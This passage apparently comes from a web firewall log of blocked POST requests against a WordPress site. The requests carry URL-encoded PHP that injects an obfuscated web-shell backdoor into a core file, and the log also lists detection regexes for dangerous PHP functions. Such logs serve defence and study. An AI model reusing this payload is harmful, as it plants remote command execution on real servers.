file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:5256\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nVQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:01:44","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:5256\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nwz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:01:48","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-length:5279\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio.mp3.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524splitter_tool5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524splitter_tool3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524splitter_tool6%2520%253D%2520%2522s%255Cx74%255Cx72eam_%255Cx67et_%255Cx63o%255Cx6E%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524splitter_tool7%2520%253D%2520%2522%255Cx70clos%255Cx65%2522%253B%2520%2524splitter_tool2%2520%253D%2520%2522%255Cx73hell%255Cx5Fexec%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2bin%2522%253B%2520%2524splitter_tool1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524splitter_tool4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2529%2520%257B%2520function%2520settings%2520%2528%2520%2524token%2520%252C%2520%2524item%2520%2529%2520%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524token%255B%2524e%255D%2529%255E%2524item%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524value%253B%2520%257D%2520%2524entity%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524entity%2520%253D%2520settings%2528%2524entity%252C%252068%2529%253B%2520if%2520%2528function_exists%2528%2524splitter_tool1%2529%2529%2520%257B%2520%2524splitter_tool1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool2%2529%2529%2520%257B%2520print%2520%2524splitter_tool2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool3%2529%2529%2520%257B%2520%2524splitter_tool3%2528%2524entity%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool4%2529%2529%2520%257B%2520%2524splitter_tool4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524splitter_tool5%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool6%2529%2520%2526%2526%2520function_exists%2528%2524splitter_tool7%2529%2529%2520%257B%2520%2524item_value%2520%253D%2520%2524splitter_tool5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524item_value%2529%2520%257B%2520%2524marker_res%2520%253D%2520%2524splitter_tool6%2528%2524item_value%2529%253B%2520%2524splitter_tool7%2528%2524item_value%2529%253B%2520print%2520%2524marker_res%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:03:13","103.133.215.148","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> 